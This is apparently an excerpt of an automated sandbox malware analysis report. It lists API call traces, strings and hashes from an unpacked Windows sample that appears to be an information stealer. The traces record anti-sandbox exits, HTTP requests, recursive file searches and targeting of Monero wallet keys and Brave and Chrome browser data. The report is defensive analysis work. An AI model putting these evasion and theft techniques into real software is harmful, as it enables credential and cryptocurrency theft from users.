Part of subcall function 00CA1160: GetSystemInfo.KERNEL32(?), ref: 00CA116A
Part of subcall function 00CA1160: ExitProcess.KERNEL32 ref: 00CA117E

Part of subcall function 00CA1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00CA112B
Part of subcall function 00CA1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00CA1132
Part of subcall function 00CA1110: ExitProcess.KERNEL32 ref: 00CA1143

Part of subcall function 00CA1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00CA123E
Part of subcall function 00CA1220: __aulldiv.LIBCMT ref: 00CA1258
Part of subcall function 00CA1220: __aulldiv.LIBCMT ref: 00CA1266
Part of subcall function 00CA1220: ExitProcess.KERNEL32 ref: 00CA1294

Part of subcall function 00CB6770: GetUserDefaultLangID.KERNEL32 ref: 00CB6774

Part of subcall function 00CA1190: ExitProcess.KERNEL32 ref: 00CA11C6

Part of subcall function 00CB7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00CA11B7), ref: 00CB7880
Part of subcall function 00CB7850: RtlAllocateHeap.NTDLL(00000000), ref: 00CB7887
Part of subcall function 00CB7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00CB789F

Part of subcall function 00CB78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CB7910
Part of subcall function 00CB78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00CB7917
Part of subcall function 00CB78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00CB792F

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,009D8B68,?,00CC110C,?,00000000,?,00CC1110,?,00000000,00CC0AEF), ref: 00CB6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CB6AE8
CloseHandle.KERNEL32(00000000), ref: 00CB6AF9
Sleep.KERNEL32(00001770), ref: 00CB6B04
CloseHandle.KERNEL32(?,00000000,?,009D8B68,?,00CC110C,?,00000000,?,00CC1110,?,00000000,00CC0AEF), ref: 00CB6B1A
ExitProcess.KERNEL32 ref: 00CB6B22

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 7e03763cbd612ffb0e14a925498be071eb8c1968116b035f2bd0f561ac1aeafb
Instruction ID: 8496e55656b0c8206f73adf5bf4f3216a7f3d4969fe64f5f9ea6c4fa50f79360
Opcode Fuzzy Hash: 7e03763cbd612ffb0e14a925498be071eb8c1968116b035f2bd0f561ac1aeafb
Instruction Fuzzy Hash: 3E312770D10209AADB04FBF1DC96BEE7738AF04300F544528F652A61C2EF746A05EAA2

Function 00CA1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00CA123E
__aulldiv.LIBCMT ref: 00CA1258
__aulldiv.LIBCMT ref: 00CA1266
ExitProcess.KERNEL32 ref: 00CA1294

Strings

@, xrefs: 00CA1233

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 4bfc715bfb9e6cd45f27daa75afa44d201c3afc62f8ec12a70bdc3e0300132a9
Instruction ID: 18c0551be2427dc2adb3d39c14e9ebe54fd9480f9ec65772b62405b8cf43309b
Opcode Fuzzy Hash: 4bfc715bfb9e6cd45f27daa75afa44d201c3afc62f8ec12a70bdc3e0300132a9
Instruction Fuzzy Hash: D5016DB0D40308BAEF10DBE0CC89B9EBB78AB04705F288158FB05BA2C0D774A6459799

Function 00CB6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,009D8B68,?,00CC110C,?,00000000,?,00CC1110,?,00000000,00CC0AEF), ref: 00CB6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CB6AE8
CloseHandle.KERNEL32(00000000), ref: 00CB6AF9
Sleep.KERNEL32(00001770), ref: 00CB6B04
CloseHandle.KERNEL32(?,00000000,?,009D8B68,?,00CC110C,?,00000000,?,00CC1110,?,00000000,00CC0AEF), ref: 00CB6B1A
ExitProcess.KERNEL32 ref: 00CB6B22

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 32a4f01c48e9acbc39bfbbe2be69f3372aa44544b97119ecbb3a52619829fe4d
Instruction ID: f924487edf292413a23a6128df6d448eccec2ec1fdcac738afa29f93f6c61bde
Opcode Fuzzy Hash: 32a4f01c48e9acbc39bfbbe2be69f3372aa44544b97119ecbb3a52619829fe4d
Instruction Fuzzy Hash: 31F05E7094021DAFEB00EBA1DC4ABFD7B38EB04701F144529F552B51C1CBB46544FA6A

Function 00CA47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CA4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00CA4849

Strings

<, xrefs: 00CA47C9

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: d882a4735ea7c6bd574b80201d5df844fa4f3e378e2a6351616e893212fc8294
Instruction ID: cfdd5624c028b6e4bce44cdd46ebff09cd839ec5db091a9fa7b219ec3bed8d6d
Opcode Fuzzy Hash: d882a4735ea7c6bd574b80201d5df844fa4f3e378e2a6351616e893212fc8294
Instruction Fuzzy Hash: C02150B1D00209ABDF10DF54E849ADE7B74FB44310F008625F955B72C0EB706609DF91

Function 00CB51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CBA7E6

Part of subcall function 00CA6280: InternetOpenA.WININET(00CC0DFE,00000001,00000000,00000000,00000000), ref: 00CA62E1
Part of subcall function 00CA6280: StrCmpCA.SHLWAPI(?,009DF1A0), ref: 00CA6303
Part of subcall function 00CA6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CA6335
Part of subcall function 00CA6280: HttpOpenRequestA.WININET(00000000,GET,?,009DE910,00000000,00000000,00400100,00000000), ref: 00CA6385
Part of subcall function 00CA6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00CA63BF
Part of subcall function 00CA6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CA63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CB5228

Strings

ERROR, xrefs: 00CB521A
ERROR, xrefs: 00CB5273

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 64bee97d41329045c40e94a5b8332e7eaec94b365e08c33eaab36edcc578d41a
Instruction ID: cf0506dbf7c87f70c65e98d1d649f36e902ce8a410d4929f5a9d8e63b5c6742a
Opcode Fuzzy Hash: 64bee97d41329045c40e94a5b8332e7eaec94b365e08c33eaab36edcc578d41a
Instruction Fuzzy Hash: D0110030910148BBDB14FFA5DD52EED7778AF50300F404168F95A5B592EF31AB05EA92

Function 00CA1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00CA112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00CA1132
ExitProcess.KERNEL32 ref: 00CA1143

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: f445ef014d975e221957385963abc295e58fbd5a9909f859127a6e0e550cd412
Instruction ID: 3dda43c98347bbdfc20c740c2642f3ad801bd65e647688867c77ff6bf7badbe8
Opcode Fuzzy Hash: f445ef014d975e221957385963abc295e58fbd5a9909f859127a6e0e550cd412
Instruction Fuzzy Hash: 2FE0867094534CFFE710ABA19C0EB0C7AB8AB04B05F144059F7097A1C0D6B436049699

Function 00CA10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00CA10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00CA10F7

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8e09109fe562589089343e9d9ede4f7d0fcca9ece322763bf0b6afb5bd89ed49
Instruction ID: 66d8734102258660f9c718ee8e025cb43baf3f55f6d0ae033465c0e5d9488cbd
Opcode Fuzzy Hash: 8e09109fe562589089343e9d9ede4f7d0fcca9ece322763bf0b6afb5bd89ed49
Instruction Fuzzy Hash: 34F0E271641208BBEB149AA4AC89FAAB7ECE705B15F300458F904E7280D571AF04DAA4

Function 00CA1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00CB78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CB7910
Part of subcall function 00CB78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00CB7917
Part of subcall function 00CB78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00CB792F

Part of subcall function 00CB7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00CA11B7), ref: 00CB7880
Part of subcall function 00CB7850: RtlAllocateHeap.NTDLL(00000000), ref: 00CB7887
Part of subcall function 00CB7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00CB789F

ExitProcess.KERNEL32 ref: 00CA11C6

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 20457d1c428afac1a71163914e8f06fd20d1ea3b64d304a350b466595b7c7049
Instruction ID: afb2c5956693feb705cc37ce05d9f91c2a87c2b92087105e35ad931d69de52db
Opcode Fuzzy Hash: 20457d1c428afac1a71163914e8f06fd20d1ea3b64d304a350b466595b7c7049
Instruction Fuzzy Hash: ADE012B591430657CB0073B1AC4AB6B369C9B55389F0C053DFF09F6142FA25F909E566

Non-executed Functions

Function 00CB38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00CB38CC
FindFirstFileA.KERNEL32(?,?), ref: 00CB38E3
lstrcat.KERNEL32(?,?), ref: 00CB3935
StrCmpCA.SHLWAPI(?,00CC0F70), ref: 00CB3947
StrCmpCA.SHLWAPI(?,00CC0F74), ref: 00CB395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00CB3C67
FindClose.KERNEL32(000000FF), ref: 00CB3C7C

Strings

%s\*, xrefs: 00CB38C0
%s\%s, xrefs: 00CB397A
%s\%s\%s, xrefs: 00CB3A4A
%s\%s, xrefs: 00CB3A6F
%s%s, xrefs: 00CB3AAD

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 1edee7ccaaf0f9c35ff179bdedb9de3b94c02ab27ca44810e43de36ee18a02f6
Instruction ID: 4eee8ccc6e1f21649f03888acf9f6bab10167b5982b45f15fd748a7495888126
Opcode Fuzzy Hash: 1edee7ccaaf0f9c35ff179bdedb9de3b94c02ab27ca44810e43de36ee18a02f6
Instruction Fuzzy Hash: 95A140B1A00258AFDB24DFA5DC85FEA7378BB45300F08459CF51DA6141EB75AB88CF62

Function 00CABE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

FindFirstFileA.KERNEL32(00000000,?,00CC0B32,00CC0B2B,00000000,?,?,?,00CC13F4,00CC0B2A), ref: 00CABEF5
StrCmpCA.SHLWAPI(?,00CC13F8), ref: 00CABF4D
StrCmpCA.SHLWAPI(?,00CC13FC), ref: 00CABF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00CAC7BF
FindClose.KERNEL32(000000FF), ref: 00CAC7D1

Strings

Preferences, xrefs: 00CAC11E
Brave, xrefs: 00CAC102
Google Chrome, xrefs: 00CAC634
\Brave\Preferences, xrefs: 00CAC1DB

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
